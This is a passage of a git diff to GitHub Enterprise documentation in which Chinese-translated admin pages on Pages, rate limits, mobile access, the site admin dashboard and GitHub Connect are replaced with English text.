enterprise, you should also disable {% data variables.product.prodname_pages %} to protect yourself from potential security vulnerabilities. For more information, see "[Enabling subdomain isolation](/admin/configuration/enabling-subdomain-isolation)." -{% ifversion ghes %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.pages-tab %} -4. 取消选择 **Enable Pages**。 ![禁用 {% data variables.product.prodname_pages %} 复选框](/assets/images/enterprise/management-console/pages-select-button.png) +4. Unselect **Enable Pages**. + ![Checkbox to disable {% data variables.product.prodname_pages %}](/assets/images/enterprise/management-console/pages-select-button.png) {% data reusables.enterprise_management_console.save-settings %} -{% elsif ghae %} + +{% endif %} + +{% ifversion ghae %} + {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.pages-tab %} -5. 在“Pages policies（页面策略）”下，取消选择 **Enable {% data variables.product.prodname_pages %}（启用 Github）**。 ![禁用 {% data variables.product.prodname_pages %} 复选框](/assets/images/enterprise/business-accounts/enable-github-pages-checkbox.png) +5. Under "Pages policies", deselect **Enable {% data variables.product.prodname_pages %}**. + ![Checkbox to disable {% data variables.product.prodname_pages %}](/assets/images/enterprise/business-accounts/enable-github-pages-checkbox.png) {% data reusables.enterprise-accounts.pages-policies-save %} + {% endif %} {% ifversion ghes %} -## 延伸阅读 +## Further reading -- "[启用私人模式](/admin/configuration/enabling-private-mode)" +- "[Enabling private mode](/admin/configuration/enabling-private-mode)" {% endif %} diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md index 54e1493c8d..95326574a6 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md @@ -1,6 +1,6 @@ --- -title: 配置速率限制 -intro: '您可以使用 {% data variables.enterprise.management_console %} 为 {% data variables.product.prodname_ghe_server %} 配置速率限制。' +title: Configuring rate limits +intro: 'You can set rate limits for {% data variables.product.prodname_ghe_server %} using the {% data variables.enterprise.management_console %}.' redirect_from: - /enterprise/admin/installation/configuring-rate-limits - /enterprise/admin/configuration/configuring-rate-limits @@ -13,47 +13,51 @@ topics: - Infrastructure - Performance --- +## Enabling rate limits for {% data variables.product.prodname_enterprise_api %} -## 为 {% data variables.product.prodname_enterprise_api %} 启用速率限制 - -在 {% data variables.product.prodname_enterprise_api %} 上启用速率限制可以防止个别用户或未通过身份验证的用户过度使用资源。 更多信息请参阅“[REST API 中的资源](/rest/overview/resources-in-the-rest-api#rate-limiting)”。 +Enabling rate limits on {% data variables.product.prodname_enterprise_api %} can prevent overuse of resources by individual or unauthenticated users. For more information, see "[Resources in the REST API](/rest/overview/resources-in-the-rest-api#rate-limiting)." {% ifversion ghes %} -您可以使用管理 shell 中的 `ghe-config` 实用程序从 API 速率限制中排除用户列表。 更多信息请参阅“[命令行实用程序](/enterprise/admin/configuration/command-line-utilities#ghe-config)”。 +You can exempt a list of users from API rate limits using the `ghe-config` utility in the administrative shell. For more information, see "[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-config)." {% endif %} {% note %} -**注**：{% data variables.enterprise.management_console %} 列出了每种速率限制的时限（按分钟或按小时）。 +**Note:** The {% data variables.enterprise.management_console %} lists the time period (per minute or per hour) for each rate limit. {% endnote %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} -2. 在“Rate Limiting（费率限制）”下，选择 **Enable HTTP API Rate Limiting（启用 HTTP API 费率限制）**。 ![用于启用 API 速率限制的复选框](/assets/images/enterprise/management-console/api-rate-limits-checkbox.png) -3. 输入对每个 API 的已验证和未验证请求的限制，或者接受预先填入的默认限制。 +2. Under "Rate Limiting", select **Enable HTTP API Rate Limiting**. +![Checkbox for enabling API rate limiting](/assets/images/enterprise/management-console/api-rate-limits-checkbox.png) +3. Type limits for authenticated and unauthenticated requests for each API, or accept the pre-filled default limits. {% data reusables.enterprise_management_console.save-settings %} -## 启用二级费率限制 +## Enabling secondary rate limits -设置二级费限制可保护 {% data variables.product.product_location %} 上的整体服务等级。 +Setting secondary rate limits protects the overall level of service on {% data variables.product.product_location %}. {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% ifversion ghes > 3.1 %} -2. 在“Rate Limiting（费率限制）”下，选择 **Enable Secondary Rate Limiting（启用二级费率限制）**。 ![用于启用二级费率限制的复选框](/assets/images/enterprise/management-console/secondary-rate-limits-checkbox.png) +2. Under "Rate Limiting", select **Enable Secondary Rate Limiting**. + ![Checkbox for enabling secondary rate limiting](/assets/images/enterprise/management-console/secondary-rate-limits-checkbox.png) {% else %} -2. 在“Rate Limiting”下，选择 **Enable Abuse Rate Limiting**。 ![用于启用滥用率限制的复选框](/assets/images/enterprise/management-console/abuse-rate-limits-checkbox.png) +2. Under "Rate Limiting", select **Enable Abuse Rate Limiting**. + ![Checkbox for enabling abuse rate limiting](/assets/images/enterprise/management-console/abuse-rate-limits-checkbox.png) {% endif %} -3. 输入总请求限制、CPU 限制或对搜索的 CPU 限制，或接受预先填入的默认限制。 +3. Type limits for Total Requests, CPU Limit, and CPU Limit for Searching, or accept the pre-filled default limits. {% data reusables.enterprise_management_console.save-settings %} -## 启用 Git 速率限制 +## Enabling Git rate limits -您可以按仓库网络或用户 ID 应用 Git 速率限制。 Git 速率限制以每分钟并行操作数表示，不过会根据当前 CPU 负荷进行调整。 +You can apply Git rate limits per repository network or per user ID. Git rate limits are expressed in concurrent operations per minute, and are adaptive based on the current CPU load. {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} -2. 在“Rate Limiting”下，选择 **Enable Git Rate Limiting**。 ![用于启用 Git 速率限制的复选框](/assets/images/enterprise/management-console/git-rate-limits-checkbox.png) -3. 输入对每个仓库网络或用户 ID 的限制。 ![仓库网络和用户 ID 限制的字段](/assets/images/enterprise/management-console/example-git-rate-limits.png) +2. Under "Rate Limiting", select **Enable Git Rate Limiting**. +![Checkbox for enabling Git rate limiting](/assets/images/enterprise/management-console/git-rate-limits-checkbox.png) +3. Type limits for each repository network or user ID. + ![Fields for repository network and user ID limits](/assets/images/enterprise/management-console/example-git-rate-limits.png) {% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/managing-github-for-mobile-for-your-enterprise.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/managing-github-for-mobile-for-your-enterprise.md index e8d9b4229c..73f83ca38f 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/managing-github-for-mobile-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/managing-github-for-mobile-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: 管理企业的手机版 GitHub -intro: '您可以决定经验证的用户是否可以通过 {% data variables.product.prodname_mobile %} 连接 {% data variables.product.product_location %}。' +title: Managing GitHub for mobile for your enterprise +intro: 'You can decide whether authenticated users can connect to {% data variables.product.product_location %} with {% data variables.product.prodname_mobile %}.' permissions: 'Enterprise owners can manage {% data variables.product.prodname_mobile %} for an enterprise on {% data variables.product.product_name %}.' versions: ghes: '*' @@ -10,24 +10,25 @@ topics: - Mobile redirect_from: - /admin/configuration/managing-github-for-mobile-for-your-enterprise -shortTitle: 管理手机版 GitHub +shortTitle: Manage GitHub for mobile --- - {% ifversion ghes %} {% data reusables.mobile.ghes-release-phase %} {% endif %} -## 关于 {% data variables.product.prodname_mobile %} +## About {% data variables.product.prodname_mobile %} -{% data reusables.mobile.about-mobile %} 更多信息请参阅“[手机版 GitHub](/github/getting-started-with-github/github-for-mobile)”。 +{% data reusables.mobile.about-mobile %} For more information, see "[GitHub for mobile](/github/getting-started-with-github/github-for-mobile)." -企业成员可以使用 {% data variables.product.prodname_mobile %} 从移动设备分类、协作和管理 {% data variables.product.product_location %} 上的工作。 默认情况下，{% data variables.product.prodname_mobile %} 为 {% data variables.product.product_location %} 启用。 您可以允许或不允许企业成员使用 {% data variables.product.prodname_mobile %} 向 {% data variables.product.product_location %} 验证并访问企业的数据。 +Members of your enterprise can use {% data variables.product.prodname_mobile %} to triage, collaborate, and manage work on {% data variables.product.product_location %} from a mobile device. By default, {% data variables.product.prodname_mobile %} is enabled for {% data variables.product.product_location %}. You can allow or disallow enterprise members from using {% data variables.product.prodname_mobile %} to authenticate to {% data variables.product.product_location %} and access your enterprise's data. -## 启用或禁用 {% data variables.product.prodname_mobile %} +## Enabling or disabling {% data variables.product.prodname_mobile %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.type-management-console-password %} -1. 在左侧边栏中，单击 **Mobile（移动）**。 ![{% data variables.product.prodname_ghe_server %} 管理控制台左侧边栏中的"Mobile（移动）"](/assets/images/enterprise/management-console/click-mobile.png) -1. 在“GitHub for mobile（手机版 GitHub）”下，选择或取消选择 **Enable GitHub Mobile Apps（启用 GitHub 手机 App）**。 ![{% data variables.product.prodname_ghe_server %} 管理控制台中的"Enable GitHub Mobile Apps（启用 GitHub 手机 App）"复选框](/assets/images/enterprise/management-console/select-enable-github-mobile-apps.png) +1. In the left sidebar, click **Mobile**. + !["Mobile" in the left sidebar for the {% data variables.product.prodname_ghe_server %} management console](/assets/images/enterprise/management-console/click-mobile.png) +1. Under "GitHub for mobile", select or deselect **Enable GitHub Mobile Apps**. + ![Checkbox for "Enable GitHub Mobile Apps" in the {% data variables.product.prodname_ghe_server %} management console](/assets/images/enterprise/management-console/select-enable-github-mobile-apps.png) {% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md index 9a5081a2da..610a1878cc 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md @@ -1,5 +1,5 @@ --- -title: 站点管理员仪表板 +title: Site admin dashboard intro: '{% data reusables.enterprise_site_admin_settings.about-the-site-admin-dashboard %}' redirect_from: - /enterprise/admin/articles/site-admin-dashboard/ @@ -14,216 +14,216 @@ topics: - Enterprise - Fundamentals --- - -要访问仪表板，请在任意页面的右上角中单击 {% octicon "rocket" aria-label="The rocket ship" %}。 ![用于访问站点管理员设置的火箭图标](/assets/images/enterprise/site-admin-settings/access-new-settings.png) +To access the dashboard, in the upper-right corner of any page, click {% octicon "rocket" aria-label="The rocket ship" %}. +![Rocket ship icon for accessing site admin settings](/assets/images/enterprise/site-admin-settings/access-new-settings.png) {% ifversion ghes or ghae %} -## 搜索 +## Search -您可以在此处启动 {{ site.data.variables.enterprise.management_console }}，以管理域、身份验证和 SSL 等虚拟设备设置。 +Refer to this section of the site admin dashboard to search for users and repositories, and to query the [audit log](#audit-log). {% else %} -## 许可信息与搜索 +## License info & search -请参照站点管理员仪表板的此部分检查您当前的 {% data variables.product.prodname_enterprise %} 许可；搜索用户和仓库；查询[审核日志](#audit-log)。 +Refer to this section of the site admin dashboard to check your current {% data variables.product.prodname_enterprise %} license; to search for users and repositories; and to query the [audit log](#audit-log). {% endif %} {% ifversion ghes %} ## {% data variables.enterprise.management_console %} -您可以在此处启动 {% data variables.enterprise.management_console %}，以管理域、身份验证和 SSL 等虚拟设备设置。 +Here you can launch the {% data variables.enterprise.management_console %} to manage virtual appliance settings such as the domain, authentication, and SSL. {% endif %} -## 探索 +## Explore -GitHub [趋势页面][]中的数据按每天、每周和每月的时间跨度为仓库和开发者计算。 在 **Explore** 部分中，您可以看到此数据的最后缓存时间，并将新的趋势计算作业加入队列。 +Data for GitHub's [trending page][] is calculated into daily, weekly, and monthly time spans for both repositories and developers. You can see when this data was last cached and queue up new trending calculation jobs from the **Explore** section. -## 审核日志 + [trending page]: https://github.com/blog/1585-explore-what-is-trending-on-github -{% data variables.product.product_name %} 会实时记录您可以查询的审核操作。 +## Audit log -默认情况下，审核日志会按时间倒序显示所有已审核操作的列表。 要对此列表进行筛选，您可以在 **Query** 文本框中输入键值对，然后单击 **Search**，如“[搜索审核日志](/enterprise/{{ currentVersion }}/admin/guides/installation/searching-the-audit-log)”所述。 +{% data variables.product.product_name %} keeps a running log of audited actions that you can query. -有关一般审核日志的更多信息，请参阅“[审核日志](/enterprise/{{ currentVersion }}/admin/guides/installation/audit-logging)”。 有关审核的操作的完整列表，请参阅“[审核的操作](/enterprise/{{ currentVersion }}/admin/guides/installation/audited-actions)”。 +By default, the audit log shows you a list of all audited actions in reverse chronological order. You can filter this list by entering key-value pairs in the **Query** text box and then clicking **Search**, as explained in "[Searching the audit log](/enterprise/{{ currentVersion }}/admin/guides/installation/searching-the-audit-log)." -## 报告 +For more information on audit logging in general, see "[Audit logging](/enterprise/{{ currentVersion }}/admin/guides/installation/audit-logging)." For a full list of audited actions, see "[Audited actions](/enterprise/{{ currentVersion }}/admin/guides/installation/audited-actions)." -如果您需要获取关于 {% data variables.product.product_location %} 中用户、组织和仓库的信息，正常些情况下，您将通过 [GitHub API](/rest) 提取 JSON 数据。 但遗憾的是，此 API 可能无法提供您需要的所有数据，并且需要一定的专业技术知识才能使用。 因此，站点管理员仪表板提供 **Reports** 部分代替 API 方法，您可以通过仪表板轻松下载 CSV 报告，其中包含大部分您有可能需要的用户、组织和仓库信息。 +## Reports -具体来讲，您可以下载列出以下信息的 CSV 报告： +If you need to get information on the users, organizations, and repositories in {% data variables.product.product_location %}, you would ordinarily fetch JSON data through the [GitHub API](/rest). Unfortunately, the API may not provide all of the data that you want and it requires a bit of technical expertise to use. The site admin dashboard offers a **Reports** section as an alternative, making it easy for you to download CSV reports with most of the information that you are likely to need for users, organizations, and repositories. -- 所有用户 -- 在上个月内曾处于活动状态的所有用户 -- 一个月或更长时间未活动的所有用户 -- 曾被挂起的所有用户 -- 所有组织 -- 所有仓库 +Specifically, you can download CSV reports that list -您还可以通过向站点管理员帐户进行标准 HTTP 身份验证，以编程方式访问这些报告。 必须使用 `site_admin` 范围的个人访问令牌。 更多信息请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。 +- all users +- all users who have been active within the last month +- all users who have been inactive for one month or more +- all users who have been suspended +- all organizations +- all repositories -下面是如何使用 cURL 下载“所有用户”报告的示例： +You can also access these reports programmatically via standard HTTP authentication with a site admin account. You must use a personal access token with the `site_admin` scope. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." + +For example, here is how you would download the "all users" report using cURL: ```shell curl -L -u username:token http(s)://hostname/stafftools/reports/all_users.csv ``` -要以编程方式访问其他报告，请将 `all_users` 替换为 `active_users`、`dormant_users`、`suspended_users`、`all_organizations` 或 `all_repositories`。 +To access the other reports programmatically, replace `all_users` with `active_users`, `dormant_users`, `suspended_users`, `all_organizations`, or `all_repositories`. {% note %} -**注**：如果没有可用的缓存报告，最初的 `curl` 请求会返回 202 HTTP 响应；将在后台生成报告。 您可以发送另一个请求来下载报告。 您可以使用具有 `site_admin` 作用域的密码或 OAuth 令牌代替密码。 +**Note:** The initial `curl` request will return a 202 HTTP response if there are no cached reports available; a report will be generated in the background. You can send a second request to download the report. You can use a password or an OAuth token with the `site_admin` scope in place of a password. {% endnote %} -### 用户报告 +### User reports -| 键 | 描述 | -| -----------------:| ------------------------- | -| `created_at` | 用户帐户的创建时间（ISO 8601 时间戳形式） | -| `id` | 用户或组织的帐户 ID | -| `login` | 帐户的登录名称 | -| `电子邮件` | 帐户的主电子邮件地址 | -| `角色` | 帐户属于管理员还是普通用户 | -| `suspended?` | 帐户是否已挂起 | -| `last_logged_ip` | 最近登录帐户的 IP 地址 | -| `repos` | 帐户拥有的仓库数量 | -| `ssh_keys` | 注册到帐户的 SSH 密钥数量 | -| `org_memberships` | 帐户所属的组织数量 | -| `dormant?` | 帐户是否休眠 | -| `last_active` | 帐户上次活动时间（ISO 8601 时间戳形式） | -| `raw_login` | 原始登录信息（JSON 格式） | -| `2fa_enabled?` | 用户是否已启用双重身份验证 | +Key | Description +-----------------:| ------------------------------------------------------------ +`created_at` | When the user account was created (as an ISO 8601 timestamp) +`id` | Account ID for the user or organization +`login` | Account's login name +`email` | Account's primary email address +`role` | Whether the account is an admin or an ordinary user +`suspended?` | Whether the account has been suspended +`last_logged_ip` | Most recent IP address to log into the account +`repos` | Number of repositories owned by the account +`ssh_keys` | Number of SSH keys registered to the account +`org_memberships` | Number of organizations to which the account belongs +`dormant?` | Whether the account is dormant +`last_active` | When the account was last active (as an ISO 8601 timestamp) +`raw_login` | Raw login information (in JSON format) +`2fa_enabled?` | Whether the user has enabled two-factor authentication -### 组织报告 +### Organization reports -| 键 | 描述 | -| ---------------:| ------------ | -| `id` | 组织 ID | -| `created_at` | 组织创建时间 | -| `login` | 组织的登录名称 | -| `电子邮件` | 组织的主电子邮件地址 | -| `owners` | 组织所有者数量 | -| `members` | 组织成员数量 | -| `团队` | 组织团队数量 | -| `repos` | 组织仓库数量 | -| `2fa_required?` | 组织是否需要双重身份验证 | +Key | Description +--------------:| ------------------------------------ +`id` | Organization ID +`created_at` | When the organization was created +`login` | Organization's login name +`email` | Organization's primary email address +`owners` | Number of organization owners +`members` | Number of organization members +`teams` | Number of organization teams +`repos` | Number of organization repositories +`2fa_required?`| Whether the organization requires two-factor authentication -### 仓库报告 +### Repository reports -| 键 | 描述 | -| ---------------:| -------------- | -| `created_at` | 仓库创建时间 | -| `owner_id` | 仓库所有者的 ID | -| `owner_type` | 仓库由用户所有还是由组织所有 | -| `owner_name` | 仓库所有者的名称 | -| `id` | 仓库 ID | -| `name` | 仓库名称 | -| `可见性` | 仓库是公共还是私有 | -| `readable_size` | 以人类可读格式表示的仓库大小 | -| `raw_size` | 以数字形式表示的仓库大小 | -| `collaborators` | 仓库协作者数量 | -| `fork?` | 仓库是否为分叉 | -| `deleted?` | 仓库是否已删除 | +Key | Description +---------------:| ------------------------------------------------------------ +`created_at` | When the repository was created +`owner_id` | ID of the repository's owner +`owner_type` | Whether the repository is owned by a user or an organization +`owner_name` | Name of the repository's owner +`id` | Repository ID +`name` | Repository name +`visibility` | Whether the repository is public or private +`readable_size` | Repository's size in a human-readable format +`raw_size` | Repository's size as a number +`collaborators` | Number of repository collaborators +`fork?` | Whether the repository is a fork +`deleted?` | Whether the repository has been deleted {% ifversion ghes %} -## 索引 +## Indexing -GitHub 的[代码搜索][]功能由 [ElasticSearch][] 提供支持。 站点管理员仪表板的这一部分会显示 ElasticSearch 集群的当前状态，并提供多种工具来控制搜索和索引行为。 这些工具分为以下三类。 +GitHub's [code search][] features are powered by [ElasticSearch][]. This section of the site admin dashboard shows you the current status of your ElasticSearch cluster and provides you with several tools to control the behavior of searching and indexing. These tools are split into the following three categories. -### 代码搜索 + [Code Search]: https://github.com/blog/1381-a-whole-new-code-search + [ElasticSearch]: http://www.elasticsearch.org/ -此类允许您启用或禁用对源代码进行的搜索和索引操作。 +### Code search -### 代码搜索索引修复 +This allows you to enable or disable both search and index operations on source code. -此类控制着代码搜索索引的修复方式。 您可以 +### Code search index repair -- 启用或禁用索引修复作业 -- 开始新的索引修复作业 -- 重置所有索引修复状态 +This controls how the code search index is repaired. You can -{% data variables.product.prodname_enterprise %} 使用修复作业协调搜索索引的状态与数据库中存储的数据（问题、拉取请求、仓库和用户）以及 Git 仓库中存储的数据（源代码）。 以下情况下会进行此操作： +- enable or disable index repair jobs +- start a new index repair job +- reset all index repair state -- 创建新的搜索索引； -- 需要重新填入缺失的数据；或者 -- 需要更新旧的搜索数据。 +{% data variables.product.prodname_enterprise %} uses repair jobs to reconcile the state of the search index with data stored in a database (issues, pull requests, repositories, and users) and data stored in Git repositories (source code). This happens when -也就是说，修复作业是根据需要启动的，并在后台运行，而不是站点管理员通过任何方式排定的。 +- a new search index is created; +- missing data needs to be backfilled; or +- old search data needs to be updated. -此外，修复作业还使用“修复偏移”实现并行化。 偏移是指协调的记录在数据库表中的偏移。 多个后台作业可以基于此偏移同步工作。 +In other words, repair jobs are started as needed and run in the background—they are not scheduled by site admins in any way. -进度条会在所有后台工作进程中显示修复作业的当前状态。 此值是修复偏移与数据中最高记录 ID 的百分比差异。 不用担心修复作业完成后在进度条中显示的值：因为它表示的是修复偏移与数据库中最高记录 ID 之差，随着更多的仓库添加到 {% data variables.product.product_location %} 中，即使这些仓库实际上已编制索引，此值也会减小。 +Furthermore, repair jobs use a "repair offset" for parallelization. This is an offset into the database table for the record being reconciled. Multiple background jobs can synchronize work based on this offset. -您可以随时启动新的代码搜索索引修复作业。 在协调搜索索引与数据库和 Git 仓库数据时，它将使用单个 CPU。 为了最大限度地减小对 I/O 性能的影响并减小操作超时的几率，请先尝试在非高峰期运行修复作业。 使用 `top` 等实用程序监视系统的平均负载和 CPU 利用率；如果您没有注意到任何显著的变化，那么在高峰期运行索引修复作业也应当是安全的。 +A progress bar shows the current status of a repair job across all of its background workers. It is the percentage difference of the repair offset with the highest record ID in the database. Don't worry about the value shown in the progress bar after a repair job has completed: because it shows the difference between the repair offset and the highest record ID in the database, it will decrease as more repositories are added to {% data variables.product.product_location %} even though those repositories are actually indexed. -### 问题索引修复 +You can start a new code-search index repair job at any time. It will use a single CPU as it reconciles the search index with database and Git repository data. To minimize the effects this will have on I/O performance and reduce the chances of operations timing out, try to run a repair job during off-peak hours first. Monitor your system's load averages and CPU usage with a utility like `top`; if you don't notice any significant changes, it should be safe to run an index repair job during peak hours, as well. -此类控制着[问题][]索引的修复方式。 您可以 +### Issues index repair -- 启用或禁用索引修复作业 -- 开始新的索引修复作业 -- 重置所有索引修复状态 +This controls how the [Issues][] index is repaired. You can + + [Issues]: https://github.com/blog/831-issues-2-0-the-next-generation + +- enable or disable index repair jobs +- start a new index repair job +- reset all index repair state {% endif %} -## 保留的登录名 +## Reserved logins -某些词是保留给内部使用的 {% data variables.product.product_location %}，这意味着这些词不能用作用户名。 +Certain words are reserved for internal use in {% data variables.product.product_location %}, which means that these words cannot be used as usernames. -例如，保留以下词语，包括： +For example, the following words are reserved, among others: -- `管理员` -- `企业` +- `admin` +- `enterprise` - `login` -- `员工` -- `支持` +- `staff` +- `support` -对于完整列表或保留词，导航到站点管理面板中的“保留的登录名”。 +For the full list or reserved words, navigate to "Reserved logins" in the site admin dashboard. {% ifversion ghes or ghae %} -## 所有用户 +## Enterprise overview -您可以在此查看 {{ site.data.variables.product.product_location_enterprise }} 上所有已被挂起的用户，并[发起 SSH 密钥审核](/enterprise/{{ page.version }}/admin/guides/user-management/auditing-ssh-keys)。 +Refer to this section of the site admin dashboard to manage organizations, people, policies, and settings. {% endif %} -## 仓库 +## Repositories -这是 {% data variables.product.product_location %} 上的仓库列表。 您可以单击仓库名称，然后访问各项功能，对仓库进行管理。 +This is a list of the repositories on {% data variables.product.product_location %}. You can click on a repository name and access functions for administering the repository. -- [阻止对仓库进行强制推送](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/) -- [配置 {% data variables.large_files.product_name_long %}](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-git-large-file-storage/#configuring-git-large-file-storage-for-an-individual-repository) -- [存档和取消存档仓库](/enterprise/{{ currentVersion }}/admin/guides/user-management/archiving-and-unarchiving-repositories/) +- [Blocking force pushes to a repository](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/) +- [Configuring {% data variables.large_files.product_name_long %}](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-git-large-file-storage/#configuring-git-large-file-storage-for-an-individual-repository) +- [Archiving and unarchiving repositories](/enterprise/{{ currentVersion }}/admin/guides/user-management/archiving-and-unarchiving-repositories/) -## 所有用户 +## All users -您可以在此查看 {% data variables.product.product_location %} 上的所有用户，并[发起 SSH 密钥审核](/enterprise/{{ currentVersion }}/admin/guides/user-management/auditing-ssh-keys)。 +Here you can see all of the users on {% data variables.product.product_location %}, and [initiate an SSH key audit](/enterprise/{{ currentVersion }}/admin/guides/user-management/auditing-ssh-keys). -## 站点管理员 +## Site admins -您可以在此查看 {% data variables.product.product_location %} 上的所有管理员，并[发起 SSH 密钥审核](/enterprise/{{ currentVersion }}/admin/guides/user-management/auditing-ssh-keys)。 +Here you can see all of the administrators on {% data variables.product.product_location %}, and [initiate an SSH key audit](/enterprise/{{ currentVersion }}/admin/guides/user-management/auditing-ssh-keys). -## 休眠用户 +## Dormant users {% ifversion ghes %} -您可以在此查看并[挂起](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users) {% data variables.product.product_location %} 上的所有非活动用户。 以下情况下，会认定用户帐户处于非活动状态（“休眠”）： +Here you can see and [suspend](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users) all of the inactive users on {% data variables.product.product_location %}. A user account is considered to be inactive ("dormant") when it: {% endif %} {% ifversion ghae %} -在这里，你可以看到并暂停 {% data variables.product.product_location %} 上所有不活跃的用户。 以下情况下，会认定用户帐户处于非活动状态（“休眠”）： +Here you can see and suspend all of the inactive users on {% data variables.product.product_location %}. A user account is considered to be inactive ("dormant") when it: {% endif %} -- 存在时间长于为 {% data variables.product.product_location %} 设置的休眠阈值。 -- 在该时间段内没有发生任何活动。 -- 不是站点管理员。 +- Has existed for longer than the dormancy threshold that's set for {% data variables.product.product_location %}. +- Has not generated any activity within that time period. +- Is not a site administrator. -{% data reusables.enterprise_site_admin_settings.dormancy-threshold %} 更多信息请参阅“[管理休眠用户](/enterprise/{{ currentVersion }}/admin/guides/user-management/managing-dormant-users/#configuring-the-dormancy-threshold)”。 +{% data reusables.enterprise_site_admin_settings.dormancy-threshold %} For more information, see "[Managing dormant users](/enterprise/{{ currentVersion }}/admin/guides/user-management/managing-dormant-users/#configuring-the-dormancy-threshold)." -## 已挂起的用户 +## Suspended users -您可以在此查看 {% data variables.product.product_location %} 上所有已被挂起的用户，并[发起 SSH 密钥审核](/enterprise/{{ currentVersion }}/admin/guides/user-management/auditing-ssh-keys)。 - - [趋势页面]: https://github.com/blog/1585-explore-what-is-trending-on-github - - [代码搜索]: https://github.com/blog/1381-a-whole-new-code-search - [ElasticSearch]: http://www.elasticsearch.org/ - - [问题]: https://github.com/blog/831-issues-2-0-the-next-generation +Here you can see all of the users who have been suspended on {% data variables.product.product_location %}, and [initiate an SSH key audit](/enterprise/{{ currentVersion }}/admin/guides/user-management/auditing-ssh-keys). diff --git a/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md b/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md index c16cbd0435..52b99fa99f 100644 --- a/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md +++ b/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md @@ -1,7 +1,7 @@ --- title: Connecting your enterprise account to GitHub Enterprise Cloud shortTitle: Connect enterprise accounts -intro: '启用 {% data variables.product.prodname_github_connect %} 后，您可以在 {% data variables.product.product_location %} 与 {% data variables.product.prodname_ghe_cloud %} 之间共用特定的功能和工作流程。' +intro: 'After you enable {% data variables.product.prodname_github_connect %}, you can share specific features and workflows between {% data variables.product.product_location %} and {% data variables.product.prodname_ghe_cloud %}.' redirect_from: - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-to-github-com/ - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-server-to-github-com @@ -24,60 +24,63 @@ topics: {% data reusables.github-connect.beta %} -## 关于 {% data variables.product.prodname_github_connect %} +## About {% data variables.product.prodname_github_connect %} -要启用 {% data variables.product.prodname_github_connect %}，必须在 {% data variables.product.product_location %} 和 {% data variables.product.prodname_ghe_cloud %} 组织或企业帐户中配置连接。 +To enable {% data variables.product.prodname_github_connect %}, you must configure the connection in both {% data variables.product.product_location %} and in your {% data variables.product.prodname_ghe_cloud %} organization or enterprise account. {% ifversion ghes %} -要配置连接，您的代理配置必须允许连接到 `github.com` 和 `api.github.com`。 更多信息请参阅“[配置出站 Web 代理服务器](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-an-outbound-web-proxy-server)”。 +To configure a connection, your proxy configuration must allow connectivity to `github.com` and `api.github.com`. For more information, see "[Configuring an outbound web proxy server](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-an-outbound-web-proxy-server)." {% endif %} -启用 {% data variables.product.prodname_github_connect %} 后，您将能够启用统一搜索和统一贡献等功能。 For more information about all of the features available, see "[Managing connections between your enterprise accounts](/admin/configuration/managing-connections-between-your-enterprise-accounts)." +After enabling {% data variables.product.prodname_github_connect %}, you will be able to enable features such as unified search and unified contributions. For more information about all of the features available, see "[Managing connections between your enterprise accounts](/admin/configuration/managing-connections-between-your-enterprise-accounts)." -将 {% data variables.product.product_location %} 连接到 {% data variables.product.prodname_ghe_cloud %} 时，{% data variables.product.prodname_dotcom_the_website %} 上会有一条记录存储连接的相关信息： +When you connect {% data variables.product.product_location %} to {% data variables.product.prodname_ghe_cloud %}, a record on {% data variables.product.prodname_dotcom_the_website %} stores information about the connection: {% ifversion ghes %} -- {% data variables.product.prodname_ghe_server %} 许可的公钥部分 -- {% data variables.product.prodname_ghe_server %} 许可的哈希 -- {% data variables.product.prodname_ghe_server %} 